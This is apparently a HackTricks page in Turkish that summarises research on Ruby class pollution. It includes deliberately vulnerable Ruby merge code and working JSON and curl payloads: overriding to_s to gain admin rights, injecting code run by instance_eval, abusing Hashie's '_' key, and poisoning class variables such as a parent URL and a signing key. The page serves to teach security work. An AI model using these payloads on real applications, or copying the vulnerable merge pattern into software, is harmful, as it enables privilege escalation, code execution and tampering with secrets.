Ruby Class Pollution

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Bu, şu yazının bir özeti: https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html

Merge on Attributes

Örnek:

# Code from https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html
# Comments added to exploit the merge on attributes
require 'json'


# Base class for both Admin and Regular users
class Person

attr_accessor :name, :age, :details

def initialize(name:, age:, details:)
@name = name
@age = age
@details = details
end

# Method to merge additional data into the object
def merge_with(additional)
recursive_merge(self, additional)
end

# Authorize based on the `to_s` method result
def authorize
if to_s == "Admin"
puts "Access granted: #{@name} is an admin."
else
puts "Access denied: #{@name} is not an admin."
end
end

# Health check that executes all protected methods using `instance_eval`
def health_check
protected_methods().each do |method|
instance_eval(method.to_s)
end
end

private

# VULNERABLE FUNCTION that can be abused to merge attributes
def recursive_merge(original, additional, current_obj = original)
additional.each do |key, value|

if value.is_a?(Hash)
if current_obj.respond_to?(key)
next_obj = current_obj.public_send(key)
recursive_merge(original, value, next_obj)
else
new_object = Object.new
current_obj.instance_variable_set("@#{key}", new_object)
current_obj.singleton_class.attr_accessor key
end
else
current_obj.instance_variable_set("@#{key}", value)
current_obj.singleton_class.attr_accessor key
end
end
original
end

protected

def check_cpu
puts "CPU check passed."
end

def check_memory
puts "Memory check passed."
end
end

# Admin class inherits from Person
class Admin < Person
def initialize(name:, age:, details:)
super(name: name, age: age, details: details)
end

def to_s
"Admin"
end
end

# Regular user class inherits from Person
class User < Person
def initialize(name:, age:, details:)
super(name: name, age: age, details: details)
end

def to_s
"User"
end
end

class JSONMergerApp
def self.run(json_input)
additional_object = JSON.parse(json_input)

# Instantiate a regular user
user = User.new(
name: "John Doe",
age: 30,
details: {
"occupation" => "Engineer",
"location" => {
"city" => "Madrid",
"country" => "Spain"
}
}
)


# Perform a recursive merge, which could override methods
user.merge_with(additional_object)

# Authorize the user (privilege escalation vulnerability)
# ruby class_pollution.rb '{"to_s":"Admin","name":"Jane Doe","details":{"location":{"city":"Barcelona"}}}'
user.authorize

# Execute health check (RCE vulnerability)
# ruby class_pollution.rb '{"protected_methods":["puts 1"],"name":"Jane Doe","details":{"location":{"city":"Barcelona"}}}'
user.health_check

end
end

if ARGV.length != 1
puts "Usage: ruby class_pollution.rb 'JSON_STRING'"
exit
end

json_input = ARGV[0]
JSONMergerApp.run(json_input)

Açıklama

  1. Privilege Escalation: authorize metodu to_s’in “Admin.” döndüğünü kontrol eder. JSON aracılığıyla yeni bir to_s attribute enjekte ederek, attacker to_s metodunun “Admin,” dönmesini sağlayabilir ve yetkisiz ayrıcalıklar elde edebilir.
  2. Remote Code Execution: health_check içinde instance_eval, protected_methods içinde listelenen metotları çalıştırır. Eğer attacker özel metot isimleri enjekte ederse (ör. “puts 1”), instance_eval bunu çalıştırır ve bu da remote code execution (RCE) ile sonuçlanır.
  3. Bu ancak ilgili attribute’ün string değerini çalıştıran zafiyete sahip eval ifadesi olduğu için mümkündür.
  4. Impact Limitation: Bu zafiyet sadece bireysel örnekleri etkiler; User ve Admin’in diğer örnekleri etkilenmez, dolayısıyla sömürü kapsamı sınırlıdır.

Gerçek Dünya Vakaları

ActiveSupport’s deep_merge

Bu varsayılan olarak zafiyetli değil, ancak şöyle bir şeyle zafiyetli hale getirilebilir:

# Method to merge additional data into the object using ActiveSupport deep_merge
def merge_with(other_object)
merged_hash = to_h.deep_merge(other_object)

merged_hash.each do |key, value|
self.class.attr_accessor key
instance_variable_set("@#{key}", value)
end

self
end

Hashie’s deep_merge

Hashie’nin deep_merge metodu düz hash’ler yerine doğrudan nesne öznitelikleri üzerinde çalışır. Birleştirmede metotların özniteliklerle değiştirilmesini önler ancak bazı istisnalar vardır: _, ! veya ? ile biten öznitelikler yine de nesneye birleştirilebilir.

Özel bir durum tek başına _ özniteliğidir. Sadece _ genellikle bir Mash nesnesi döndüren bir özniteliktir. Ve istisnalar arasında olduğu için, bunu değiştirmek mümkündür.

Aşağıdaki örnek, {"_": "Admin"} göndererek _.to_s == "Admin" kontrolünü nasıl atlatabildiğinizi gösterir:

require 'json'
require 'hashie'

# Base class for both Admin and Regular users
class Person < Hashie::Mash

# Method to merge additional data into the object using hashie
def merge_with(other_object)
deep_merge!(other_object)
self
end

# Authorize based on to_s
def authorize
if _.to_s == "Admin"
puts "Access granted: #{@name} is an admin."
else
puts "Access denied: #{@name} is not an admin."
end
end

end

# Admin class inherits from Person
class Admin < Person
def to_s
"Admin"
end
end

# Regular user class inherits from Person
class User < Person
def to_s
"User"
end
end

class JSONMergerApp
def self.run(json_input)
additional_object = JSON.parse(json_input)

# Instantiate a regular user
user = User.new({
name: "John Doe",
age: 30,
details: {
"occupation" => "Engineer",
"location" => {
"city" => "Madrid",
"country" => "Spain"
}
}
})

# Perform a deep merge, which could override methods
user.merge_with(additional_object)

# Authorize the user (privilege escalation vulnerability)
# Exploit: If we pass {"_": "Admin"} in the JSON, the user will be treated as an admin.
# Example usage: ruby hashie.rb '{"_": "Admin", "name":"Jane Doe","details":{"location":{"city":"Barcelona"}}}'
user.authorize
end
end

if ARGV.length != 1
puts "Usage: ruby hashie.rb 'JSON_STRING'"
exit
end

json_input = ARGV[0]
JSONMergerApp.run(json_input)

Hashie deep_merge mutation regression (2025): Hashie 5.0.0’da, Hashie::Extensions::DeepMerge#deep_merge duplicated etmek yerine alıcı üzerindeki nested sub-hashes’i değiştirdi. Merging attacker-controlled data into long‑lived objects bu nedenle değişikliklerin requests boyunca kalıcı olmasına ve daha önce “safe” olan instances’ın kirlenmesine yol açabiliyordu. Davranış 5.0.1’de düzeltildi.

Poison the Classes

Aşağıdaki örnekte Person sınıfını ve Person sınıfından miras alan Admin ile Regular sınıflarını bulmak mümkündür. Ayrıca KeySigner adında başka bir sınıf daha vardır:

require 'json'
require 'sinatra/base'
require 'net/http'

# Base class for both Admin and Regular users
class Person
@@url = "http://default-url.com"

attr_accessor :name, :age, :details

def initialize(name:, age:, details:)
@name = name
@age = age
@details = details
end

def self.url
@@url
end

# Method to merge additional data into the object
def merge_with(additional)
recursive_merge(self, additional)
end

private

# Recursive merge to modify instance variables
def recursive_merge(original, additional, current_obj = original)
additional.each do |key, value|
if value.is_a?(Hash)
if current_obj.respond_to?(key)
next_obj = current_obj.public_send(key)
recursive_merge(original, value, next_obj)
else
new_object = Object.new
current_obj.instance_variable_set("@#{key}", new_object)
current_obj.singleton_class.attr_accessor key
end
else
current_obj.instance_variable_set("@#{key}", value)
current_obj.singleton_class.attr_accessor key
end
end
original
end
end

class User < Person
def initialize(name:, age:, details:)
super(name: name, age: age, details: details)
end
end

# A class created to simulate signing with a key, to be infected with the third gadget
class KeySigner
@@signing_key = "default-signing-key"

def self.signing_key
@@signing_key
end

def sign(signing_key, data)
"#{data}-signed-with-#{signing_key}"
end
end

class JSONMergerApp < Sinatra::Base
# POST /merge - Infects class variables using JSON input
post '/merge' do
content_type :json
json_input = JSON.parse(request.body.read)

user = User.new(
name: "John Doe",
age: 30,
details: {
"occupation" => "Engineer",
"location" => {
"city" => "Madrid",
"country" => "Spain"
}
}
)

user.merge_with(json_input)

{ status: 'merged' }.to_json
end

# GET /launch-curl-command - Activates the first gadget
get '/launch-curl-command' do
content_type :json

# This gadget makes an HTTP request to the URL stored in the User class
if Person.respond_to?(:url)
url = Person.url
response = Net::HTTP.get_response(URI(url))
{ status: 'HTTP request made', url: url, response_body: response.body }.to_json
else
{ status: 'Failed to access URL variable' }.to_json
end
end

# Curl command to infect User class URL:
# curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"url":"http://example.com"}}}' http://localhost:4567/merge

# GET /sign_with_subclass_key - Signs data using the signing key stored in KeySigner
get '/sign_with_subclass_key' do
content_type :json

# This gadget signs data using the signing key stored in KeySigner class
signer = KeySigner.new
signed_data = signer.sign(KeySigner.signing_key, "data-to-sign")

{ status: 'Data signed', signing_key: KeySigner.signing_key, signed_data: signed_data }.to_json
end

# Curl command to infect KeySigner signing key (run in a loop until successful):
# for i in {1..1000}; do curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"superclass":{"subclasses":{"sample":{"signing_key":"injected-signing-key"}}}}}}' http://localhost:4567/merge; done

# GET /check-infected-vars - Check if all variables have been infected
get '/check-infected-vars' do
content_type :json

{
user_url: Person.url,
signing_key: KeySigner.signing_key
}.to_json
end

run! if app_file == $0
end

Poison Parent Class

Bu payload ile:

curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"url":"http://malicious.com"}}}' http://localhost:4567/merge

Üst sınıf Person için @@url özniteliğinin değerini değiştirmek mümkündür.

Poisoning Other Classes

Bu payload ile:

for i in {1..1000}; do curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"superclass":{"subclasses":{"sample":{"signing_key":"injected-signing-key"}}}}}}' http://localhost:4567/merge --silent > /dev/null; done

Tanımlı sınıfları brute-force etmek ve bir noktada KeySigner sınıfını poison ederek signing_key değerini injected-signing-key ile değiştirmek mümkündür.\

Referanslar

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin